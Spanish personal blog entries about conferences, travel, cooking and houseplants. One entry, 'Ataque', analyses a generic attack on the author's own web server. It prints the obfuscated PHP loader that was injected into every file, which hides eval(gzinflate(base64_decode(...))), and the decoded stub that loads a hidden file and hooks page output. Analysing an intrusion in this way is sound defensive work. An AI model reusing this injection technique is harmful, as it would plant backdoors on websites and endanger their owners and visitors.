Frankenstein

Junio ha sido un mes muy ajetreado. Tras el viaje a Madrid y sobrevivir a una paper deadline, lo siguiente fue la SPAWC, un congreso de procesado digital de señales. Aunque no es mi tema principal, estaban interesados en ejemplos practicos que llevaran a la realidad lo que los especialistas en ese área desarrollan en forma de infinitas fórmulas matemáticas. Eso es algo que sí hemos hecho alguna vez, así que ahí me planté con mi poster. El congreso era aquí en Darmstadt, así que no era tan exótico, pero a pesar de ello fue toda una experiencia. Sobre todo, un día nos llevaron a cenar al castillo de Frankenstein, que ni siquiera conocía :D

Frankenstein. Hay varios castillos por la zona con el mismo nombre, pero parece que el monstruo no estuvo en ninguno de ellos. A cambio, las vistas desde la torre del castillo merecían la pena y en la cena había mucha comida gratis :D

Frankenstein. Al llegar nos recibieron con este brebaje y los camareros se negaban a dar detalles de lo que era: ¿batido de cerebro? Al menos conseguí sonsacarles que llevaba alcohol, así que pude eludirlo con una buena excusa :P

Frankenstein. La cena fue en una terraza con vistas. Hacia un calor tremendo, pero la recompensa vino al atardecer, ya que la puesta de Sol mereció la pena. Volvimos ya de noche cerrada, pero aun así, ni rastro del monstruo :(

Darmstadtium. El evento en sí fue en el Darmstadtium, un centro de congresos muy llamativo e inspirado en el darmstadio, un elemento de la tabla periódica descubierto en 1994 en - oh, sorpresa - Darmstadt. Con ese nombre, quien lo hubiera dicho.

Darmstadtium. Mi graduación alemana también fue aquí, pero después no había vuelto a tener oportunidad de entrar. Al tercer día de congreso me sentía un poco culpable, ya que hasta entonces solo había podido ir a los eventos relacionados con comida gratis :P

Casualidad

Me sigue sorprendiendo lo increible que es todo, sobre todo las personas. En estos días en Madrid he visto a muy buenos amigos y cada vez me sobrecoge más ser consciente de las grandes personas que son. Aunque ya lo sabía antes, una de las cosas que he podido comprobar en estos últimos años es que no hay nada más importante que la gente con la que uno se encuentra a gusto. Puede parecer evidente, pero tras vivirlo en todas sus consecuencias, soy más consciente que nunca de ello. Esa gente son mis padres; son mis amigos; son las personas con las que puedo compartir cosas.

Sobrevolando el embalse de Buendía de camino a Madrid la semana pasada

Al llegar al aeropuerto de Frankfurt me he encontrado con un gran amigo. Hace un montón que no nos veiamos y me ha encantado poder hablar un rato con él. Ha sido de pura casualidad, pero a veces las mejores cosas ocurren así.

Aproximación a Frankfurt esta tarde sobre paisajes muy verdes

La camiseta

Estos últimos días están siendo agotadores, ya que tengo montañas de trabajo por hacer en poco tiempo. Asi paso los días hasta tarde en el trabajo y llego cansado a casa, pensando en todo lo que tengo que hacer al día siguiente. Aunque parece un panorama bastante negro, a veces ocurren cosas que me alegran de nuevo el día, sin importar lo malos que hayan sido los resultados de las últimas medidas. Por ejemplo, el otro día al llegar a casa me encontré en el buzón un regalo estupendo: ¡una camiseta super-personalizada! La he guardado enseguida junto a las otras guays, como las de la Euskal o la del Portal 2 :)

En mi color favorito :)

Hay más camisetas guays en su tienda de Etsy (enlace)!

Switching Tables

En Darmstadt, muchas de las actividades para estudiantes de intercambio están organizadas por AEGEE, una especie de club europeo de estudiantes. Una de ellas es "Switching Tables", que consiste en invitar y ser invitado a una cena en varias casas repartidas por la ciudad. Dadas mis limitadas habilidades en ese ambito, en su momento no me apunté por el bien de la salud de los otros participantes. Sin embargo, entre tanto he aprendido a cocinar platos más o menos comestibles, así que decidí apuntarme. Solo se organiza dos veces al año, así que al enterarme de que iba a ser este martes, me inscibí enseguida.

Las alternativas al 비빔밥 eran 김밥, 제육볶음 o 떡볶이 ;-)

El esquema es sencillo. Se participa por parejas y cada pareja prepara un plato, que puede ser un entrante, un principal o un postre. Para el plato elegido, cada grupo invita en su casa a cuatro personas, mientras que para los otros platos cada grupo es invitado a una casa ajena. Los organizadores emparejan a los que se apuntan solos, como yo. En mi caso, tuve de compañera a una coreana muy agradable, asi que hicimos un plato principal medio español, medio coreano. Ella preparó 비빔밥, es decir Bibimbap, que al parecer significa literalmente "arroz mezclado". Por mi parte, hice una tortilla de patatas y un rollo de carne picada.

Mi tercera tortilla en solitario. Aún tengo que practicar dar la vuelta :D

Tanto el entrante como nuestro plato principal fue en la residencia en la que viví durante año y medio al llegar a Alemania. Hace mucho que no había estado ahí. Nada más entrar, el olor de aquel lugar me trajo muchos recuerdos. Se me había olvidado como era. El entrante fue una especie de cuscús. No me acuerdo del nombre, pero solo me quedó claro que no era cuscús. Después vino el plato principal, pero a pesar de que al final fuimos ocho u nueve, siguió sobrando un montón de comida. Lo más curioso fue el postre, que fue "el secreto de Inge la roja", una mezcla de frambuesas, merengue, nata, nata, nata y más nata :D

Aunque ya lo he intentado varias veces, el rollo de carne me suele quedar seco :(

Fue una tarde divertida y curiosa. Me alegro de haber participado. Añadido. Entre tanto, me he enterado que lo que se parecía al cuscús era bulgur y el entrante en sí se llamaba Kısır. Ese día aprendí muchas cosas nuevas :)

Borradores

A menudo me gustaría compartir ideas y pensamientos en el blog, pero al final no me atrevo. Suelen ser razonamientos un tanto abstractos, por lo que tengo miedo de que se entienda algo distinto de lo que quería decir. Incluso podría pasar que sí se sepa lo que quiero decir, pero que sin querer el texto incite a pensar que tras la primera interpretación hay una segunda intención. O peor aún, dado que desde hace algún tiempo anonimizo los textos, podría parecer una crítica escondida :( Sin embargo, ninguna entrada de este blog persigue esa intención. Por ello, algunas entradas se quedan en borradores, que nunca se si es buena idea publicar o no.

Las flores del año pasado eran blancas, pero esta ha salido amarilla

A raíz de eso, esta semana he decidido poner unas fotos que no pueden dar lugar a malentendidos, se miren por donde se miren :) Las plantas acerca de las que escribía hace unos meses han sobrevivido el invierno! Encima de este párrafo se ve la flor que acaba de salirle a las rosas. Abajo se ve la planta del dinero, que ha multiplicado su tamaño varias veces. Lo malo es que desde hace unas semanas se le van muriendo hojas cada poco, aunque siguen creciendo nuevas, asi que no estoy seguro de lo que le pasa. Ambas siguen abastecidas mediante Blumat, que de momento funciona muy bien.

En la entrada "Plantas" (enlace) se ve el tamaño que tenía en Octubre

Las hojas se van poniendo negras poco a poco y al final se caen :(

Ataque

A menudo se oye hablar de ataques en Internet: de virus, de spam, de denegación de servicio, de suplantación de identidad y de todo tipo de otras maldades, pero las explicaciones suelen ser muy limitadas y es dificil entender como funcionan. Si a eso se le suma la representación que se suele hacer en la mayoría de peliculas y libros, apaga y vamonos. La verdad es que yo tampoco tengo ni idea, pero poco a poco me voy enterando de cosas. Ayer me entretuve analizando un ataque que ha sufrido el servidor en el que está este blog en las últimas semanas. En el fondo, es como resolver un pasatiempos :)

La escena de "hacking" en Skyfall no tiene mucho sentido, pero mola :P

Por supuesto, el ataque no estaba dirigido especificamente a este blog, sino que era completamente genérico. Es decir, el ataque aprovecha una vulnerabilidad e intenta colarse en todos los servidores que puede, incluido este. Aún nadie me odia tanto, creo :D Me di cuenta gracias a que el ataque generaba un error que hacía que la página web no cargara bien. Mirando los ficheros que componen el blog, vi que se había colado un bloque de código extraño al principio de todos y cada uno de los archivos. Para que no se reconozca lo que hace, el agresor lo ha ofuscado de manera que lo único que se ve es una maraña de letras y números:

<?php
$md5 = "73fa9b659f7379af55566498ee62c900";
$a1 = array("e",'_',"a",'c',"b",'i',"d",'g',"f",")","l",'s',"6","4",'z','n','v',

";","r",'(',"$",'o','t');

$b19 = create_function('$'.'v',$a1[0].$a1[16].$a1[2].$a1[10].$a1[19].$a1[7].$a1[14]
.$a1[5].$a1[15].$a1[8].$a1[10].$a1[2].$a1[22].$a1[0].$a1[19].$a1[4].$a1[2]
.$a1[11].$a1[0].$a1[12].$a1[13].$a1[1].$a1[6].$a1[0].$a1[3].$a1[21].$a1[6]
.$a1[0].$a1[19].$a1[20].$a1[16].$a1[9].$a1[9].$a1[9].$a1[17]);

$b19('DZa1rsUItkQ/Z [muchas letras y números] TiqIgCKDUf//z77///t//Aw==');
?>

El código ofuscado es la maraña del final llamada b19. Esa maraña es procesada por lo que hay en create_function, que también está oculto. Esencialmente, en vez de poner lo que hace, lo compone a base de las letras guardadas en a1. Si uno va juntando las letras de a1 en el orden dado en la parte azul, sale eval(gzinflate(base64_decode(b19))). Lo que hace ese código es decodificar la maraña según el estándar base64 y descomprimirlo. Parece que se suele hacer a menudo, ya que hay hasta una página web donde se puede hacer comodamente online. El resultado es el código malicioso en sí:

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])) {
    $GLOBALS['mfsn']='/home/sap3pas/public_html/adrovsky/...

                      gallery2/modules/comment/classes/...
                      GalleryStorage/xml-src/3e5.php
';
   
    if(file_exists($GLOBALS['mfsn'])) {
        include_once($GLOBALS['mfsn']);       
        if(function_exists('gml')&&function_exists('dgobh')) {
            ob_start('dgobh');
        }
    }
}

Este código, que se ejecuta cada vez que alguien accede a mi blog, no hace más que iniciar la ejecución del código en el fichero 3e5.php, que estaba perdido en una subcarpeta de la galería de fotos. En concreto, dentro de ese fichero intenta llamar la función dgobh. Los nombres parecen aleatorios, asi que a primera vista no se sabe lo que hace. La pena es que hace unas semanas me di cuenta del fichero 3e5.php y lo borré sin pensarlo dos veces, asi que aquí acaba la pista. No se lo que hacía dgobh, pero puede que diera control al agresor, convertiendo el servidor en lo que se suele llamar un zombi y parte de una botnet.

Una botnet se suele extender por todo Internet

Al haber borrado 3e5.php en principio ya no puede pasar nada, pero no he tenido la paciencia de borrar el primer código ofuscado de todas las páginas del blog, asi que puede que de vez en cuando salte aún algún error. Aunque me gustaría aprovechar este pequeño desastre para actualizar el blog a a Drupal 7, para eso hace falta tiempo, que suele ser escaso. Así que por ahora probablemente siga conviviendo con un blog semi-carcomido por un atauqe fallido :D Es el segundo ataque que sufre 3pas.org del que me haya dado cuenta y en ambos casos ha sido genérico. Es decir, somos parte de la masa aleatoria de víctimas :D

Timeline

Como decía en la entrada anterior, esta semana se han cumplido dos años desde que me cambié de casa y poco más desde que empecé el doctorado. Hace un año también comentaba el aniversario, junto con los recuerdos en forma de entradas, billetes y objetos de todo tipo que había ido guardando en ese tiempo. Hoy he ordenado los papeles de los últimos doce meses, pero esta vez los he compuesto en orden cronológico y en una única imagen. Pasando el ratón sobre determinadas partes de la foto salen comentarios y algunos llevan a entradas relacionadas en el blog. Los detalles se pueden leer en la versión grande, que está aquí (enlace).

Si algo aparece aquí, fue importante, pero si no aparece, no significa que no lo fuera

La sirena

En apenas unas horas se cumplen dos años desde que me mudé a mi piso de Darmstadt. Me cuesta hacerme a la idea de que ya sea tanto tiempo. En esos dos años algunas cosas han ido bien y otras regular, pero algunas de las que más importan no han ido bien. No hay día en el que no piense en como arreglar este desaguisado. Siempre pensaba que no sería tan complicado, pero me he dado cuenta de que no es tan fácil. A veces pienso que debería estar oyendo el incesante sonido de una sirena avisando del peligro. Lo malo es que creo que entre tanto me he acostumbrado a ese ensordecedor estruendo.

"Alarm" por vabserk en DeviantArt

Extremadura

Hasta la semana pasada, no recuerdo haber estado nunca en Extremadura. La A-5 era un misterio para mi más allá de Móstoles. Puse remedio a ello en un viaje con mis padres en el que visitamos Mérida, Cáceres y Trujillo. Apenas estuvimos dos días por la zona, pero nos dio tiempo a ver un montón de cosas. Una vez más me di cuenta de que no hace falta ir al otro lado del mundo para ver sitios espectaculares, ya que lugares así los hay tanto ahí como aquí :) Tengo un mapa con sitios que me gustaría ver, tanto cerca como lejos, aunque lo más probable es que la mayoría nunca los conozca. Es abierto, así que quien quiera puede añadir ideas aquí!

Mérida. Uno pasea por las calles y a la vuelta de la esquina se encuentra cosas así :D

Mérida. Aquel día llovía a ratos, asi que el anfiteatro casi se convirtió en piscina

Mérida. Lo que no esperaba es que de pronto empezara a granizar: hice un video, que se puede ver aquí (enlace). Por suerte pudimos refugiarnos donde antaño supongo que esperaban las fieras para comerse a los gladiadores :P

Mérida. El teatro está a pocos metros del anfiteatro: curiosamente, las filas de asientos estaban cubiertas por una imitación de plástico, supongo que como protección.

Mérida. Tras el teatro hay unos jardines con muchos restos de columnas. No pude evitar pensar en los últimos juegos de Tomb Raider, donde a menudo hay que balancearse por columnas así, pasando de una a otra con saltos de vértigo.

Cáceres. Al día siguiente las nubes habían desaparecido y hacía un Sol esplendido :) El centro de la ciudad es como un único museo, lleno de edificios impresionantes.

Cáceres. En los sotanos de una de las casas había un aljibe, que servía para guardar agua potable de la lluvia.

Cáceres. Las calles del centro son a menudo estrechas y en pendiente. Por la noche, no había ni un alma, haciendo que pareciera aún más un museo.

Trujillo. Me sorprendió que aquí hubieramos podido dejar el coche incluso en la misma plaza principal del pueblo, ya que el tráfico no estaba limitado: parece que aquí todavía no llegan las hordas de turistas!

Trujillo. Varios de los castillos que vimos tenían las torres de defensa fuera de la muralla y conectadas unicamente por una pasarela. Parece que el diseño estaba pensado para poder atacar desde la torre también a los que intentaran escalar los muros.

Oropesa. En el camino de vuelta paramos en Oropesa, cuyas calles estaban llenas de dibujos y versos en las paredes que relataban la historia del lugar.

La parte más agobiante del viaje fue la última media hora. Al llegar a Madrid, en la salida a la M-40 había atasco, así que decidimos ir por la M-30. Es decir, por el túnel. Reconozco que nunca había conducido por ahí, pero nunca pensé que aquello fuera a ser semejante aventura :D Desde luego, fue una experiencia al volante que no esta mal tener, por si acaso tengo que volver por ahí alguna vez! Tras una eternidad por aquel laberinto de enrevesadas bifurcaciones, estrechos túneles en espiral y una intensa densidad de coches, al final logramos emerger al este de la ciudad y llegar sin mayores daños a casa.

Networked Systems

Esta semana he estado en la NetSys 2013, una conferencia de redes en la que he presentado los resultados de mi proyecto fin de carrera. Entre tanto ya han pasado casi dos años desde que lo entregué, pero tenía pendiente publicar los resultados. La conferencia ha sido en Stuttgart, así que no ha sido tan exótico como la de San Francisco, pero al final le he sacado bastante partido, tanto en cuanto a conocer la ciudad como a aprender cosas técnicas nuevas. Ha sido una semana muy intensa, pero en vez de escribir largos párrafos acerca de todo lo que ha pasado, creo que es más fácil poner imágenes y así avanzar de mil en mil palabras :)

La universidad fija un máximo de 30 € por noche para viajes en Alemania, así que en vez de ir a un hotel cutre decidí ir a un albergue moderno. Lo que más me alivió fue que las ventanas eran buenas y no se oía que a 10 metros pasaba el Cercanías :P

Ese mismo Cercanías lleva directamente a la universidad, cuya parada tiene forma de nave espacial :D Está en las afueras de la ciudad, por lo que los edificios se extienden entre parques y lagos, incluyendo las residencias de la universidad: un lujo!

La conferencia era en el edificio de informática, que parece completamente nuevo. Un dato curioso que también vi en el albergue: las ventanas no se pueden abrir, pero a cambio hay paneles sin cristal que sí son móviles. Nunca había visto algo así :D

Aunque no hay grabación de lo que conté en la conferencia, hace algún tiempo hice una presentación no demasiado técnica para un premio que me dieron por el proyecto fin de carrera. Ahora que el trabajo ya está publicado, lo pongo por si hay interés :)

La cena de la conferencia fue un poco surrealista. Nos llevaron al "Meilenwerk", que es un antiguo hangar en el que ahora exponen coches históricos. Sin embargo, insisten en que no son un museo, sino un foro de aficionados al automovilismo.

Por módicos 180 €/mes, los aficionados pueden alquilar una plaza en garajes de cristal. A cambio, les mantienen el coche a la humedad y temperatura adecuada, aparte de ofrecerles todo tipo de servicios, como tratamientos exclusivos para la carrocería.

Y en medio de todos esos coches pusieron las mesas para la cena: sin duda alguna, fue un ambiente distinto :D Sin embargo, todo aquello parecía un invento para que gente a la que le sobra el dinero tenga una manera de gastarlo!


Al mediodía las comidas no eran tan lujosas, ya que casi casi todos los días iba a la Mensa/cafetería de la universidad. El edificio es muy curioso: abajo hay un mostrador con los platos del día y según cual se elija, hay que subir por una escalera distinta :D


El edificio es todo un laberinto en el que se entrecruzan plantas, escaleras y las cintas transportadoras que se llevan las bandejas con los platos sucios.

Una vez hecha mi presentación, aproveché para ver un poco de Stuttgart, incluyendo la flamante biblioteca. Me gustó mucho, ya que aparte de que el edificio es impresionante, todo está diseñado para fomentar que la gente vaya a leer o trabajar ahí.

Por todas partes hay bancos, cojines, mesas, ordenadores, sugerencias de libros, salas de trabajo... Una cosa que me encantó fue la devolución de libros, que es todo un sistema de cintas transportadoras que llevan el libro a la planta correcta :D

Debajo de la sala de la primera imagen está lo que llaman "el corazón" de la biblioteca, un espacio vacío de cuatro plantas de altura. No se lo que representa, pero a mi me recordó a que, a pesar de ser tan pequeño, un libro puede crear todo un universo.

Por la noche, las ventanas de la biblioteca se iluminan de colores, haciendo formas y dibujos. Solo vi azul y blanco, pero no se si hay más colores.

Una de las atracciones de Stuttgart es un funicular que sube desde la ciudad a un monte cercano en el que hay varios cementerios. Parece que se construyó para que la gente pudiera ir con más facilidad a visitar las tumbas, pero yo subí por las vistas :P

Desde arriba no vi mucho, pero el trayecto de subida y bajada mereció la pena :D Dicen que una vez el funicular se rompió en el entierro de un cocinero, ya que el peso de todos sus orondos compañeros de profesión fue demasiado para el vagón.

Siguiendo indicaciones familiares, también visité la Weißenhofsiedlung, una colonia de casas diseñadas por famosos arquitectos a finales de los años 20. Reconozco que no entiendo nada del asunto, pero no me importaría vivir en una casa así :)

Sin embargo, algunos de los inquilinos no parecen apreciarlo mucho: aunque no tengo fotos, algunas casas tenían unos "añadidos decorativos" que las pobres no se merecían :D